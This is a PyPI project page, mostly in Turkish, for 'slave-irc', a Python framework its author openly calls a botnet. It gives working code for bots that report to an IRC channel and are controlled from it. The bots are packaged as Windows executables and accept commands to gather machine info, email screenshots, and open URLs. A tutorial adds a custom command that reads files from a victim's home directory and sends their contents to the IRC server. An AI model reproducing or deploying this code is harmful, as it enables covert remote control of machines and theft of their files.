Skip to main content

IRC based customizable botnet framework

Project description

SLAVE

Slave, Python ile yazılmış özelleştirilebilir bot oluşturmaya yarayan bir yazılımdır. IRC protokolü üzerinden, yazılan botlar ile haberleşir.

Yükleme

Pip ile kurulum

$ pip install slave-irc

Local kurulum

$ git clone https://github.com/bufgix/slave
$ cd slave
$ python setup.py install

Slave, gerek executable dosya oluşturmada gerekse bağımlıklıları kurmada pipenv i kullanır. pipenv hakkında daha fazla bilgiye buradan ulaşabilirsiniz.

Kullanım

Basit bot oluşturma

# basic_bot.py

from slave.lib.bot import BotV2


config = {
    'host': 'chat.freenode.net',
    'port': 6667,
    'channel': "#slavebotpool666",
    'boss_name': 'boss666',
    'bot_prefix': "SLAVEBOT"
}
BotV2.read_config_from_dict(config)
BotV2.start()

config şunları içermelidir

Key Value
host IRC server (varsayılan chat.freenode.net)
port IRC server portu (varsayılan 6667)
channel Bağlanılacak kanal ismi. (varsayılan #slavebotpool666)
boss_name Botları yönetecek kullanıcın ismi (varsayılan boss666)
bot_prefix Bot ön eki (varsayılan SLAVEBOT)

Çalıştırılabilir dosya oluşturma


Slave, direkt olarak çalıştırabilir dosya oluşturmanıza olanak sağlar. Bunu yaparlen PyInstaller kullanır.

Yukarıda yazdığımız botu çalıştırılabilir dosya yapmak için:

$ python -m slave basic_bot.py
[i] Source: C:\Users\user\your_bot\basic_bot.py
[i] Creating executable file...
[*] Created executable file. Check C:\Users\user\path\your_bot\dist

Oluşan dist/ dizinini altında basic_bot.exe dosyası artık kullanıma hazır.

basic_bot.exe yi çalıştırdıktan sonra 5-10 saniye içinde config de belirlediğiniz şekilde IRC'ye bağlanır.

Buradan sonra config de belirlediğiniz bos_name ile aynı olarak IRC server ve channel'e girin. Ardından botlarınıza emir vermeye başlayabilirsiniz.

Nasıl komut vereceksiniz

Slave botlarına emir vermek için $ ön eki getirilir.

$info bfr24s
$visit bfr24s https://google.com

gibi. Komuttan sonraki ilk parametre genelde vereceğiniz botun idsini alır. Eğer bütün botlara bu komutu vermek istiyorsanız bot_id yerine /all yazabilirsiniz.

$visit /all https://google.com

BOtV2 nin sağladığı komutlar ve kullanımları aşağıdaki gibidir

Command Desc Syntax
quit Kill bot $quit [/all | <bot_id>]
info Information of bot machine $info [/all | <bot_id>]
message Message show with tkinter $message [/all | <bot_id>] <message> <msec>
visit Open url with webbroser $visit [/all | <bot_id>] <url>
screenshot Take sceenshot and send your email(Only Gmail) $screenshot [/all | <bot_id>] <email> <password>
help Help text of command $help <bot_id> <cmd>

Botlarınızı her yerden yönetebilirsiniz

Nasıl kendi komutlarımı yazarım ?

Slave, kendi özel botunuzu yazmanızı sağlar. Bunu yapmak için Bot sınıfının @register decelerator'unu kullanmanız gerekir.

Şimdi kendimiz bir komut yazalım. Yazacağımız komut argüman olarak verdiğimiz dosya ismini okuyup içindekileri servera göndersin. Komutun söz dizimi şöyle olsun.

$read [/all | <bot_id>] <file_name>
# bot_custom.py

from slave.lib.bots import BotBasic

config = {
    'host': 'chat.freenode.net',
    'port': 6667,
    'channel': "#slavebotpool666",
    'boss_name': 'boss666',
    'bot_prefix': "SLAVEBOT"
}
BotBasic.read_config_from_dict(config)
BotBasic.bot_type = "MyCustomBot"

@BotBasic.register('read', all=True, on_connect=False, help_text="Read from file $read [/all | <bot_id>] <file_name>")
def read_file(bot, args):
    pass

BotBasic.start()

Görüldügü gibi register() ilk paramtere olarak komut dizisini alır. all= keywordu, <bot_id> yerine /all kullanmamızı ve bütün botlarda aynı anda komutumuzun çalıştırılmasını sağlar. on_connect= Bu, eğer True ise yazdığınız komut servera bağlandığı anda çalışır. help_text= ise komutumuzun imzasıdır. Burada komutun nasıl kullanılacağı hakkında bilgi verebilirsiniz.

Komut fonksyonu iki parametre almak zorundadır. Birinci parametre olarak Bot objesi alır. Bu server ile bot arasında iletişimi sağlar.

bot.send_text(text: str) -> None

Servera text mesajı göndermeyi sağlar.

bot.exit_server() -> None

Botun serverdan ayrılmasını sağlar

bot.send_command_help() -> None

Var olan komutları ve bilgilerini servera gönderir.

İkinci argüman olan args ise argüman listesini alır.

img

şimdi komutumuzu yazmaya devam edelim

from pathlib import Path

...

@BotBasic.register('read', all=True, on_connect=False, help_text="Read from file $read [/all | <bot_id>] <file_name>")
def read_file(bot, args):
    path = str(Path(f"~/{args[1]}").expanduser())
    with open(path, 'r') as f:
        bot.send_text(f.read())

...

Her şey hazır. Şimdi test etmek için bot_custom.py yi çalıştırabiliriz.

$ python bot_custom.py

file.txt

Im secret
Don't read me

img

Tabi dosyayı okumdadan önce var olup olmadığını kontrol etmek önemlidir. Eğer var olmayan bir dosyaya erişmeye çalışırsanız bot, serverla haberleşmeyi kesecektir.

Yukardaki örnekte daha az komut olduğunu görmüşsünüzdür. Bunun nedeni BotBasic sınıfının BotV2 ye göre daha az komut içermesi. Hem kendi komutlarınızı hem de BotV2 deki standart komutları birleştirmek için

from slave.lib.bots import BotBasic, BotV2

...

BotBasic.use_other_bot_commands(BotV2)
BotBasic.start()

img

Botunuzun hazır olduğunu düşünüyorsanız artık çalıştırılabilir dosya yapabilirsiniz.

LICENSE: MIT

Project details


Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Source Distribution

slave-irc-1.1.1.tar.gz (9.1 kB view details)

Uploaded Source

Built Distribution

slave_irc-1.1.1-py3-none-any.whl (10.0 kB view details)

Uploaded Python 3

File details

Details for the file slave-irc-1.1.1.tar.gz.

File metadata

  • Download URL: slave-irc-1.1.1.tar.gz
  • Upload date:
  • Size: 9.1 kB
  • Tags: Source
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/1.13.0 pkginfo/1.5.0.1 requests/2.22.0 setuptools/41.0.1 requests-toolbelt/0.9.1 tqdm/4.32.1 CPython/3.7.2

File hashes

Hashes for slave-irc-1.1.1.tar.gz
Algorithm Hash digest
SHA256 c4039cdf819c4db01f1adcdd8ecca969cb0d22c389b34cbc73551c0a0ac76698
MD5 90714f47c7e119157138176b168ab2ca
BLAKE2b-256 7882dbb749de39316d4afb8ac96a730525d29ac97a634964c93e90e459d14d94

See more details on using hashes here.

File details

Details for the file slave_irc-1.1.1-py3-none-any.whl.

File metadata

  • Download URL: slave_irc-1.1.1-py3-none-any.whl
  • Upload date:
  • Size: 10.0 kB
  • Tags: Python 3
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/1.13.0 pkginfo/1.5.0.1 requests/2.22.0 setuptools/41.0.1 requests-toolbelt/0.9.1 tqdm/4.32.1 CPython/3.7.2

File hashes

Hashes for slave_irc-1.1.1-py3-none-any.whl
Algorithm Hash digest
SHA256 6aadd6be0cd7af5377143ddaea25aba1a579b2e3e6d69ce80133e793cb1145bf
MD5 312340d68068f7fd41b292598ba67492
BLAKE2b-256 6b8b5d83a5777b8aad4d2dbf3c0ef7356bdce38c96e5a452c0d175aa657e769a

See more details on using hashes here.

Supported by

AWS AWS Cloud computing and Security Sponsor Datadog Datadog Monitoring Fastly Fastly CDN Google Google Download Analytics Microsoft Microsoft PSF Sponsor Pingdom Pingdom Monitoring Sentry Sentry Error logging StatusPage StatusPage Status page